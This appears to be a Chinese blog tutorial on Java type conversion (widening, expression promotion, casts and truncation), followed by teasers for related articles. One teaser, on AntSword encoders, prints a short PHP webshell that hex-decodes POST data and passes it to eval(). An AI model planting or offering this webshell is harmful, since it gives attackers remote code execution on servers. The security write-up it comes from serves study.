java入门3-java语法基础学习(类型转换)

(一 )自动类型转换

(1)类型范围小的变量可以直接赋值给类型范围大的变量

//自动类型转换执行原理

byte a=12;                               a:00001100 (byte:8位的二进制)

int b=a;                    b:00000000 00000000 00000000  00001100 (int:32位的二进制)

System.out.println(b);//12

自动类型转换的其他形式:

byte(1个字节)->short(2个字节)->int(4个字节)->long(8个字节)->float(4个字节)->double(8个字节)

           char(2个字节)->int->long->float->double

//1个字节有8个bit

(二)表达式的自动类型转换

用于解决不同类型的变量或者数据一起运算的问题

(1)注意事项:

表达式的最终结果类型由表达式中的最高类型决定。

byte a=10;

int b=20;

long c=30;

long rs=a+b+c;

System.out.println(rs);//测试最终结果是否是最高类型(long)决定

//示例2

对于a+b+1.0 ,因为1.0是double类型所以最终结果需要用

在表达式中,byte、short、char是直接转换成int类型参与运算的。

byte  i=10;

short j=30;

int rs3=i+i;  //注意最终计算结果是int变量

//面试题

byte b1=10;

byte b2=20;

b3=b1+b2;问b3是什么类型

由于在表达式中,byte、short、char是直接转换成int类型参与运算的。,所以b3为Int类型。

(三)强制类型转换(自己对结果负责)

针对:需要将大范围类型变量赋值给小范围类型变量的场景;

 int a=10;
// byte b=a;//报错,说明大范围类型变量不能直接赋值给小范围类型变量,只能使用强制类型转换//强制转换公式:数据类型 变量1=(数据类型)变量2、数据byte b=(byte)a;//也可以用快捷键ALt+回车,选择第一个报错信息,再回车System.out.println(b);
int c=10000;
byte s= (byte) c;
System.out.println("int转换成byte后的值:");
System.out.println(s);//16,高位被截断导致错误

浮点数强转成整形,直接丢掉小数部分,保留整数部分返回:

float q= 12.5F;//Java 中,float 类型的字面量需要一个后缀 f 或 F 来明确表示它是一个浮点数
//double类型则不用加int w=(int)q;
System.out.println(w); //12

注意事项:

1:强制类型转换可能造成数据丢失/溢出

2:浮点数强转成整形,直接丢掉小数部分,保留整数部分返回

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/42643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024中期业绩预告

股票简称业绩预告类型业绩预告摘要净利润变动幅度(%)上年同期净利润(元)公告日期业绩变动原因报告期内公司所处行业情况报告期内公司从事的主要业务核心竞争力分析备注湖北宜化业绩大幅上升净利润51000万元至57000万元;增长幅度为102.09%至125.87%125.872.52亿7/8/2024预计2024…

找不到x3daudio1_7.dll怎么修复?一招搞定x3daudio1_7.dll丢失问题

当你的电脑突然弹出提示,“找不到x3daudio1_7.dll”,这时候你就需要警惕了。这往往意味着你的电脑中的程序出现了问题,你可能会发现自己无法打开程序,或者即便打开了程序也无法正常使用。因此,接下来我们要一起学习一下…

小程序 使用 UI 组件 Vant Weapp 、vant组件样式覆盖

注意:使用vant 包,需要把app.json 中 的"style:v2" 这句去掉 不然会出现样式混乱的问题 Vant Weapp组件库的使用 参考官网 vant官网 Vant Weapp 组件样式覆盖 Vant Weapp 基于微信小程序的机制,为开发者提供了 3 种修改组件样式…

深入了解Linux中的udhcpc:动态主机配置协议客户端

目录 什么是udhcpc?安装udhcpc配置网络接口使用udhcpc获取IP地址配置静态IP地址自定义udhcpc脚本高级选项udhcpc常见问题及排查方法1. 无法获取IP地址2. DNS配置不正确3. IP地址冲突4. 无法连接到默认网关5. 无法执行自定义脚本 在Linux系统中,网络配置是…

[数据结构] --- 线性数据结构(数组/链表/栈/队列)

1 线性结构和非线性结构的理解 1.1 线性结构 线性结构是什么? 数据结构中线性结构指的是数据元素之间存在着“一对一”的线性关系的数据结构。线性结构是一个有序数据元素的集合。 线性结构特点: 线性结构有唯一的首元素(第一个元素&#…

leetcode力扣_贪心思想

455.分发饼干(easy-自己想得出来并写好) 假设你是一位很棒的家长,想要给你的孩子们一些小饼干。但是,每个孩子最多只能给一块饼干。对每个孩子 i,都有一个胃口值 g[i],这是能让孩子们满足胃口的饼干的最小尺…

【CUDA】

笔者在学习Softmax实现时遇到了一个问题,很多文章直接将softmax的计算分成了五个过程,而没有解释每个过程的含义,尤其是在阅读这篇文章时,作者想计算最基本的softmax的效率,以展示可行的优化空间: 贴一个g…

前端html面试常见问题

前端html面试常见问题 1. !DOCTYPE (文档类型)的作用2. meta标签3. 对 HTML 语义化 的理解?语义元素有哪些?语义化的优点4. HTML中 title 、alt 属性的区别5. src、href 、url 之间的区别6. script标签中的 async、defer 的区别7. 行内元素、块级元素、空…

【python教程】数据分析——numpy、pandas、matplotlib

【python教程】数据分析——numpy、pandas、matplotlib 文章目录 什么是matplotlib安装matplotlib,画个折线 什么是matplotlib matplotlib:最流行的Python底层绘图库,主要做数据可视化图表,名字取材于MATLAB,模仿MATLAB构建 安装matplotlib&…

AI教你如何系统的学习Python

Python学习计划 第一阶段:Python基础(1-2个月) 目标:掌握Python的基本语法、数据类型、控制结构、函数、模块和包等。 学习Python基本语法:包括变量、数据类型(整数、浮点数、字符串、列表、元组、字典、…

5款屏幕监控软件精选|电脑屏幕监控软件分享

屏幕监控软件在现代工作环境中扮演着越来越重要的角色,无论是为了提高员工的工作效率,还是为了保障企业数据的安全,它们都成为了不可或缺的工具。 下面,让我们以一种新颖且易于理解的方式,来介绍五款备受好评的屏幕监…

XGBoost模型中参数stratify的作用

目录 1.参数stratify的作用2.代码演示3. 为什么XGBoost从分类模型转成回归模型,这个参数要去掉呢? 1.参数stratify的作用 在使用XGBoost进行分类任务时,数据集通常会被分成训练集和测试集。为了确保训练集和测试集中的类分布与原始数据集中的类分布一致…

蚁剑编码器编写——中篇

看第二个示例 hex编码 木马 <?php foreach($_POST as $k > $v){$_POST[$k]pack("H*", $v);} eval($_POST[ant]); ?>pack(“H*”, $v)是将 $v 转换为为二进制&#xff0c;也就是ASCII解码 编码器 module.exports (pwd, data) > {let ret {};for (…

J023_用正则表达式爬取信息

一、需求描述 请把下面文本中的电话、邮箱、座机号码和热线都爬取出来&#xff1a; 来黑马程序员学习Java&#xff0c;电话&#xff1a;18512566758&#xff0c;18354678765&#xff1b;或者联系邮箱&#xff1a;boniuitcast.cn&#xff1b;座机电话&#xff1a;010365178955…

Spring cloud 中使用 OpenFeign:让 http 调用更优雅

注意&#xff1a;本文演示所使用的 Spring Cloud、Spring Cloud Alibaba 的版本分为为 2023.0.0 和 2023.0.1.0。不兼容的版本可能会导致配置不生效等问题。 1、什么是 OpenFeign Feign 是一个声明式的 Web service 客户端。 它使编写 Web service 客户端更加容易。只需使用 F…

Guitar Pro8.2让你的吉他弹奏如虎添翼!

亲爱的音乐爱好者们&#xff0c;今天我要跟大家安利一个让我彻底沉迷其中的神器——Guitar Pro8.2&#xff01;这可不是一般的软件&#xff0c;它简直是吉他手们的福音。不管你是初学者还是老鸟&#xff0c;这个打谱软件都能给你带来前所未有的便利和价值。 让我们来聊聊Guita…

【开源项目】LocalSend 局域网文件传输工具

【开源项目】LocalSend 局域网文件传输工具 一个免费、开源、跨平台的局域网传输工具 LocalSend 简介 LocalSend 是一个免费的开源跨平台的应用程序&#xff0c;允许用户在不需要互联网连接的情况下&#xff0c;通过本地网络安全地与附近设备共享文件和消息。 项目地址&…

数学系C++ 排序算法简述(八)

目录 排序 选择排序 O(n2) 不稳定&#xff1a;48429 归并排序 O(n log n) 稳定 插入排序 O(n2) 堆排序 O(n log n) 希尔排序 O(n log2 n) 图书馆排序 O(n log n) 冒泡排序 O(n2) 优化&#xff1a; 基数排序 O(n k) 快速排序 O(n log n)【分治】 不稳定 桶排序 O(n…

[240707] X-CMD v0.3.14: cb gh fjo zig 模块增强;新增 lsio 和 pixi 模块

目录 X-CMD 发布 v0.3.14✨ advise&#xff1a;Bash 环境下自动补全时&#xff0c;提供命令的描述信息✨ cb:支持下载指定版本的附件资源✨ gh:支持下载指定版本的附件资源✨ fjo:支持下载指定版本的附件资源✨ zig&#xff1a;新增 pm 和 zon 子命令✨ lsio&#xff1a;用于查…

Spring源码十二:事件发布源码跟踪

上一篇我们在Spring源码十一&#xff1a;事件驱动中&#xff0c;介绍了spring refresh方法的initMessageSource方法与initApplicationEventMulticaster方法&#xff0c;举了一个简单的例子进行简单的使用的Spring为我们提供的事件驱动发布的示例。这一篇我们将继续跟踪源码&…